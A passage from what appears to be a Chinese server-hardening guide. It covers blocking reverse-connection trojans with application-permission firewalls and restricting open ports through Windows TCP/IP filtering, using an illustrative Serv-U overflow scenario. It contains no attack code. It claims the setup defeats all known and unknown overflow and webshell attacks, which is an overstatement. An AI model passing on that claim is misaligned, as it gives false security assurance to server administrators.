那么我们如何防止这一类的反向木马攻击呢?方法很简单,那就是安装一个具有防止反向连接木马的防火墙,如天网及金山网镖等防火墙。都是具有防止反向连接功能的,因为这些防火墙都有应用程序访问网络权限设置功能。服务器上的任何一个程序要访问网络,都会弹出一个警告窗口,必须要服务器的管理员同意允许该应用程序访问网络后,这些程序才能访问网络,这项功能正好用于防范反向木马。下面举一个例子,如你的服务器安装了天网防火墙,如黑客成功溢出了你的Serv-U服务器,并给你传了一个反向连接的后门木马,这个后门木马在你的服务器的C:\MM.EXE ,黑客所在IP地址是192.168.0.18 ,现在黑客要对你服务器的这个反向连接木马进行连接,只要黑客在你服务器上运行了这个反向木马,那么你的天网防火墙就会弹出一个警告窗口,如下图(图27)所示:
(图27)
通过上述配置,我们的服务器已经能抵挡目前已知及未知的任何溢出攻击了,当然这些对于服务器安全来说还不够的,我们还要屏蔽掉一些我们不使用的服务端口,方法很简单,在桌面上右键点击“网上邻居”图标,出现一菜单,选择“属性”,这时弹出一个“网络连接”的窗口,找到“本地连接”再点击鼠标右键,选择“属性”,弹出“本地连接属性“窗口,选择“Internet 协议(TCP/IP)”再点击“属性”按钮,弹出“Internet 协议(TCP/IP)属性”窗口,点击“高级(V)”按钮,出现“高级TCP/IP 设置”窗口,选择“选项”标签,再点击“属性(P)”按钮,这时弹出一个“TCP/IP筛选”对话框,在这个窗口里设置你需要开放服务的端口。如FTP服务需要开放21端口,WWW服务需要开放80端口,SMTP服务需要开放25端口,POP3服务需要开放110端口,终端服务需要开放3389端口,MYSQL数据库需要开放3306端口……
如下图(图28)所示:
(图28)
只要你通过了本文所述的方法配置你的服务器,你的服务器将会是一台稳若金汤的服务器,目前网络上流行的溢出攻击及一些未知的溢出等攻击方法,各种ASP、ASPX、CGI、PHP、JSP的WEBSHELL攻击等在你的服务器里也没用武之地。
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。